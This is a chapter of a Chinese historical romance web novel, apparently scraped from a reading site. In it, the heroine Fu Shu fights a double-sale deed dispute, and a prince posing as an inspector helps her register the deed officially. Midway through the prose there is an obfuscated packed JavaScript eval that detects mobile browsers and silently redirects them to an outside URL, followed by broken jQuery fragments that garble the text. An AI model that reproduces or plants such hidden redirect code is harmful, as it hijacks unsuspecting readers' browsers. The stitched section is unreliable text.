26. 以退为进

作品:《媾和十五年

    “真是阴魂不散!”


    客栈厢房中,扶疏忿忿将手中契纸扔到桌上,忍不住低骂一句。


    鸿徽晚的房间就在她的隔壁,扶疏对着空气胡乱挥了几拳,发泄着怒气。


    不过,与其说是怒意,更多的是鸿徽晚带着此筹码一来,乱了她的阵脚。


    扶疏自觉亏欠李府的太多,不想再瞒着李府上下,让他们还沉浸在虚假的欢喜中。


    先前规劝坦白是他,为何现下万般阻拦的也是他?鸿徽晚行事如此怪异矛盾,扶疏猜不透,心中思绪跟着乱成一团乱麻。


    “都在正兰县了,害得我还在想这事……”


    再抱怨也没用,当下还有许多事情亟待解决,扶疏分得清哪一件才是最要紧的。


    扶疏重新拾起散落在桌上的契约,眉间深锁,“解决好房契一事,才是我该想的。”


    这薄薄几张纸,已抵上了扶疏这些年攒下来的全部家当。今夜她本该从客栈去到自己的安身之所,偏偏这时候出现了岔子。


    明日得继续去找桂婶儿……


    这般想着,扶疏和衣而眠,借着月光反复翻看着手上的契约,不知不觉便入了梦乡。


    月光融在夜色中,这家客栈的隔音并不好,景致倒是不错。


    听着一旁厢房中扶疏的骂声渐息,鸿徽晚摇头轻笑着关上窗户。


    这几日,只有今夜最是心安。


    鸿徽晚取下腰间香囊,不禁失笑。没想到扶疏此人倒是比他想象得坚毅得多,越是难关越是曲折跌宕,倒是为鸿徽晚别无所求的生活平添了一份趣意。


    “你是扶疏,你本就是扶疏,所作所为都并非以她人名讳处事,大可不必害怕。”


    望着那轮弯月,鸿徽晚轻声温柔念道,默默许下肃穆诺言。


    来路混沌也没关系,他一定会陪她踏上一条明路,直到扶疏能自己看清迷津,一同笑谈过往。


    翌日。


    鸿徽晚打开房门,准备敲响隔壁厢房时,却发现扶疏人已不在房中。


    昨夜刚让暗卫传消息回长安城,好不容易寻到了扶疏踪迹,现下,鸿徽晚说什么也得寸步不离跟在扶疏身后才是,不然怎对得起李将军对自己的嘱托。


    扶疏的行囊还在厢房中,应该不是为了避他逃走,鸿徽晚快步下了楼。


    客栈中生意稀少,老板娘也不急,正悠哉挑着算盘。


    鸿徽晚走上前询问道:“墨娘,你可知扶疏去了哪?”


    墨娘掀起眼皮看了一眼鸿徽晚,懒懒道:“现在啊,她应该又去找桂婶儿了吧。”


    鸿徽晚:“桂婶儿跟扶疏是什么关系,她遇到了什么棘手的事情么?”


    墨娘微挑着眉,嘴中念念有词地算清了一面账本,方慢悠悠抬起头,仿佛才听清鸿徽晚的问题。


    “昨日不说了让你帮帮她吗?”墨娘满脸狐疑,打量着鸿徽晚,绕着弯没有回答重点:“我看,你二人很是相熟啊,难道扶疏这都没跟你说!”


    “还请指教。”


    短短半天,鸿徽晚已摸透了墨娘的脾性,他的掌心已多出一把碎银,轻放在柜台前。


    见状,墨娘爽快放下手中算盘。


    “桂婶儿是扶疏签下房契时的见证人。”


    “前几日,扶疏在小杏那里买了下我们村的一方小院,但小杏的夫家田氏父子却不认账,他们不知从哪又拿出一份房契将扶疏赶回了我这客栈。现下小杏找不见人影,桂婶儿也向着乡亲说话不愿出面作证。这一次,扶疏可是要吃哑巴亏了。”


    了解大概情况,鸿徽晚回想着道:“纪国各处州县,房产田地的归属文契理应交由买方保存,立典应当写明售卖者、见证人及买方姓名,且只保留一份。一房两契,不合法规。”


    “这位公子懂得倒是不少。”


    墨娘听得一愣一愣:“可都是乡亲,那管得了那么多,没几个人在意这些虚头巴脑的法规,乡亲们都认为扶疏手上那份房契是假的呢!闹到了县衙,情况也不向好啊。”


    短短思量片刻,鸿徽晚立即动身:“我去找扶疏,你可知桂婶儿在哪?”


    “诶诶,公子……”


    鸿徽晚走的快,墨娘刚想撒手不管,客栈门口出现一道身影。以为来了客人,墨娘连忙越过鸿徽晚迎上前,却发现恰巧是扶疏垂头丧气地走了进来。


    同扶疏迎头撞上,鸿徽晚顿时眸间一亮,退了一步问候道:“房契之事如何了?”


    “二皇……”


    察觉面前来者,扶疏抬起头,对鸿徽晚的称呼到了嘴边,忽而想起客栈中还有其他人,转换着话语道:“你都从墨娘那里知道了……”


    “如你所见,昨日你说的事,我没精力同你讨价还价。”以为鸿徽晚仍是来找她谈昨日之事,扶疏无暇多说。


    一边说着,扶疏踩着虚浮的脚步迈入客栈,整个人瘫在椅子上。


    鸿徽晚自然坐到扶疏身旁的座椅上,摇起一把挂在柜台边的蒲扇,给扶疏扇着风:“嗯,不说昨日的事了。方才同桂婶儿谈得如何?”


    鸿徽晚的态度一夕之间转变,扶疏警惕起来。不过,见他真诚想要了解的模样,说不定真能帮上她的忙。


    “失败了。”扶疏有些挫败地摇摇头,如实道来。


    虽起了个大早去寻桂婶儿,房契上白纸黑字写得清清楚楚,可对方不认,扶疏只能是碰了一鼻子灰。


    所谓越挫越勇,扶疏不会就此任人宰割,她清晰的懂得应该如何以最大的恶意揣度人心,规避一切可能存在的风险。


    “求人不如求己,看来得找其它的法子。”


    扶疏转换了思路,沉声道出自己的猜测:“我越想越不对劲,他们莫不是一伙的。小杏找到了目标得了钱财就溜,桂婶儿专门作担保让人放松警惕,最后田家父子唱白脸,专门来以此种方法骗外乡人的财产?”


    “照说不应该啊,你这事真是正兰县第一起。”


    墨娘在正兰县十多年,也好奇凑过来:“小杏才嫁到田家半年,平日里为人也还不错,怎会用失踪来诓骗你呢,当真是奇怪。”


    扶疏不放过任何一处细节,连忙追问:“墨娘你是说,小杏才嫁过来半年……我看田家也并非有闲钱的农户,小杏手上这么快就有正兰县的房产了,这座小院真是小杏自己的吗?”


    墨娘摇摇头:“这就不知道了。不过,这份房契我也看过了,确实没有问题,关键是田家父子手中也有一份,这就难办了。”


    签有扶疏名字的房契静静摆在桌上,谁也不知道这份与田家父子手中的那一份房契有什么不同。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283085|140060||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要是有纪国法典就好了,或许能找到方法解决这般问题。


    扶疏无声叹息,早知道会遇到这般情况,当初在国子学时便多多学习这方面的卷宗书籍了。


    “一房两契,那就得看是红契还是白契了。”


    一旁,鸿徽晚忽然冒出一句话,像是有了把握,鸿徽晚打了个响指:“房契带上,同我一起去县衙!”


    来不及犹豫,鸿徽晚牵着扶疏向外走去。扶疏回过神来,鸿徽晚一边赶着步伐一边解释着原委。


    所谓白契,指的是像扶疏手中的这种民间自写的地契,其约束力主要依赖于交易双方的诚信和见证人的保障;而红契,则是指缴纳官税后受纪国法规认证的地契。


    若能抢先一步去往官府加盖官印,将手中的白契变为红契,那么小院的归属也就无可厚非了。


    到了正兰县府衙,鸿徽晚身后追来两名暗卫:“可要通报消息给此处县令?”


    “不用。”


    鸿徽晚低语几句安排好暗卫的任务,目送他们离开。鸿徽晚没有声张皇子身份,而是同扶疏规规矩矩排着队,听候官衙官员的安排。


    好在,一切依旧顺利。


    缴纳上税款,亲眼见证金红印章在房契上盖下,扶疏长舒一口气。这下,衙门断案时,总算是对她有力的证据了。


    估计也是为了节省开支,无论是小杏还是田家父子,都未曾在官府里为小院记载备案。


    扶疏重新整理着思路:“他们如此反咬一口,却连在官府备案都不曾知晓,看来真不是有预谋的诓骗。”


    也不知下午去了衙门,田家父子又会闹出怎样的说辞。


    走出府衙,二人走入一条人影往来稍少的街市。


    暗卫再次出现,快步跟上鸿徽晚,严肃复命道:“督察,方才快速查过了,小杏姑娘确实先逃到了隔壁县,但再往城外走便立即没了消息。”


    说罢,暗卫又递上一卷书册。


    鸿徽晚接过书卷,颔首以示知晓。暗卫见状,拱手跨步跃入房屋树影间,不见踪影。


    “督察?”扶疏疑惑地看着鸿徽晚重复道。


    为了追查说服她,怎么还劳得鸿徽晚换了身份前来,当真下了血本。


    鸿徽晚捋了捋衣袖,歪着头道:“是啊,现在站在你面前的,不是二皇子,而是晚督察。”


    见扶疏兴致缺缺,甚至有要翻白眼的趋势,鸿徽晚扑哧一声笑出来,连忙正经道:“喏,这是纪国有关田地的章法,你可抓紧看看。”


    扶疏对这倒是很感兴趣,连忙道谢接过。


    鸿徽晚斟酌道:“现下还有时间,不如我再去寻一番小杏的踪迹,也许会有些收获。”


    “不必再大费周章了。”


    放下手中卷册,扶疏摇摇头,“既然你的暗卫都查不到,要么说明是小杏有天大的本事,能抹去自己一丝一毫的踪影;要么说明,小杏是先一步被找到然后别人有意藏起来了。晚督察,你觉得哪一种更有可能呢?”


    鸿徽晚若有所思地眨着眼。说来,最不合常理的便是小杏姑娘,自签下房契后从未现身,也不知葫芦里卖的是什么药。


    扶疏轻拉着愣在原地的鸿徽晚的衣角向前,淡定道:“走吧,我要去衙门会会田家父子了。”